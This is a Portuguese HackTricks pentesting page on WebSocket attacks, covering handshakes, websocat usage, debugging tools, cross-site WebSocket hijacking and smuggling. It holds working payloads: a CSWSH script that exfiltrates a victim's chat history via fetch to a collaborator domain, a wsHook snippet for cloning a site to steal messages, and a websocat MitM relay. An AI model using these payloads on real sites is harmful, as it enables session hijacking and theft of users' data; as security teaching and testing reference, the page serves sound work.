hacktricks/pentesting-web/websocket-attacks.md

12 KiB

Ataques de WebSocket

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

O que são WebSockets

As conexões WebSocket são estabelecidas por meio de um aperto de mão HTTP inicial e são projetadas para serem de longa duração, permitindo mensagens bidirecionais a qualquer momento sem a necessidade de um sistema transacional. Isso torna os WebSockets particularmente vantajosos para aplicativos que requerem baixa latência ou comunicação iniciada pelo servidor, como fluxos de dados financeiros ao vivo.

Estabelecimento de Conexões WebSocket

Uma explicação detalhada sobre o estabelecimento de conexões WebSocket pode ser acessada aqui. Em resumo, as conexões WebSocket geralmente são iniciadas por meio de JavaScript do lado do cliente, conforme mostrado abaixo:

var ws = new WebSocket("wss://normal-website.com/ws");

O protocolo wss significa uma conexão WebSocket segura com TLS, enquanto ws indica uma conexão não segura.

Durante o estabelecimento da conexão, um handshake é realizado entre o navegador e o servidor via HTTP. O processo de handshake envolve o navegador enviando uma solicitação e o servidor respondendo, conforme ilustrado nos exemplos a seguir:

Navegador envia uma solicitação de handshake:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Resposta de handshake do servidor:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

A conexão permanece aberta para a troca de mensagens em ambas as direções uma vez estabelecida.

Principais pontos do Handshake do WebSocket:

  • Os cabeçalhos Connection e Upgrade sinalizam o início de um handshake do WebSocket.
  • O cabeçalho Sec-WebSocket-Version indica a versão desejada do protocolo WebSocket, geralmente 13.
  • Um valor aleatório codificado em Base64 é enviado no cabeçalho Sec-WebSocket-Key, garantindo que cada handshake seja único, o que ajuda a evitar problemas com proxies de cache. Este valor não é para autenticação, mas para confirmar que a resposta não é gerada por um servidor ou cache mal configurado.
  • O cabeçalho Sec-WebSocket-Accept na resposta do servidor é um hash do Sec-WebSocket-Key, verificando a intenção do servidor de abrir uma conexão WebSocket.

Esses recursos garantem que o processo de handshake seja seguro e confiável, abrindo caminho para uma comunicação em tempo real eficiente.

Console Linux

Você pode usar o websocat para estabelecer uma conexão bruta com um websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ou para criar um servidor websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

Conexões websocket MitM

Se você descobrir que os clientes estão conectados a um websocket HTTP da sua rede local atual, você pode tentar um Ataque de Spoofing ARP para realizar um ataque MitM entre o cliente e o servidor.
Uma vez que o cliente está tentando se conectar a você, você pode então usar:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Enumeração de Websockets

Você pode usar a ferramenta https://github.com/PalindromeLabs/STEWS para descobrir, identificar e procurar por vulnerabilidades conhecidas em websockets automaticamente.

Ferramentas de Depuração de Websocket

  • O Burp Suite suporta a comunicação MitM de websockets de forma muito semelhante ao que faz para a comunicação HTTP regular.
  • A extensão socketsleuth do Burp Suite permitirá que você gerencie melhor as comunicações de Websocket no Burp, obtendo o histórico, definindo regras de interceptação, usando regras de correspondência e substituição, usando Intruder e AutoRepeater.
  • WSSiP: Abreviação de "WebSocket/Socket.io Proxy", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para capturar, interceptar, enviar mensagens personalizadas e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
  • wsrepl é um REPL interativo de websocket projetado especificamente para testes de penetração. Ele fornece uma interface para observar mensagens websocket recebidas e enviar novas, com um framework fácil de usar para automatizar essa comunicação.
  • https://websocketking.com/ é um site para se comunicar com outros sites usando websockets.
  • https://hoppscotch.io/realtime/websocket entre outros tipos de comunicações/protocolos, fornece um site para se comunicar com outros sites usando websockets.

Laboratório de Websocket

No Burp-Suite-Extender-Montoya-Course você tem um código para lançar um site usando websockets e neste post você pode encontrar uma explicação.

Sequestro de Websocket entre Sites (CSWSH)

Sequestro de Websocket entre Sites, também conhecido como sequestro de WebSocket entre origens cruzadas, é identificado como um caso específico de Falsificação de Solicitação entre Sites (CSRF) que afeta os handshakes de WebSocket. Essa vulnerabilidade surge quando os handshakes de WebSocket são autenticados exclusivamente via cookies HTTP sem tokens CSRF ou medidas de segurança similares.

Os atacantes podem explorar isso hospedando uma página da web maliciosa que inicia uma conexão de WebSocket entre sites com um aplicativo vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com o aplicativo, explorando a falta de proteção CSRF no mecanismo de manipulação de sessão.

Ataque Simples

Observe que ao estabelecer uma conexão websocket, o cookie é enviado para o servidor. O servidor pode estar usando isso para relacionar cada usuário específico com sua sessão websocket com base no cookie enviado.

Então, se por exemplo o servidor websocket enviar de volta o histórico da conversa de um usuário se uma mensagem com "READY" for enviada, então um XSS simples estabelecendo a conexão (o cookie será enviado automaticamente para autorizar o usuário vítima) enviando "READY" será capaz de recuperar o histórico da conversa.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Neste post de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ o atacante conseguiu executar Javascript arbitrário em um subdomínio do domínio onde a comunicação do websocket estava ocorrendo. Como era um subdomínio, o cookie estava sendo enviado, e como o Websocket não verificava a Origem corretamente, era possível se comunicar com ele e roubar tokens dele.

Roubo de dados do usuário

Copie a aplicação web que deseja se passar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo adicione este código:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

Agora baixe o arquivo wsHook.js em https://github.com/skepticfx/wshook e salve-o dentro da pasta com os arquivos da web.
Expondo a aplicação web e fazendo um usuário se conectar a ela, você será capaz de roubar as mensagens enviadas e recebidas via websocket:

sudo python3 -m http.server 80

Condições de Corrida

Condições de corrida em WebSockets também são uma coisa, verifique esta informação para saber mais.

Outras vulnerabilidades

Como os WebSockets são um mecanismo para enviar dados para o lado do servidor e do cliente, dependendo de como o servidor e o cliente lidam com as informações, os WebSockets podem ser usados para explorar várias outras vulnerabilidades como XSS, SQLi ou qualquer outra vulnerabilidade web com o uso de entrada de um usuário de um websocket.

WebSocket Smuggling

Essa vulnerabilidade poderia permitir que você burlasse as restrições de proxies reversos fazendo-os acreditar que uma comunicação websocket foi estabelecida (mesmo que não seja verdade). Isso poderia permitir que um atacante acessasse endpoints ocultos. Para mais informações, verifique a seguinte página:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: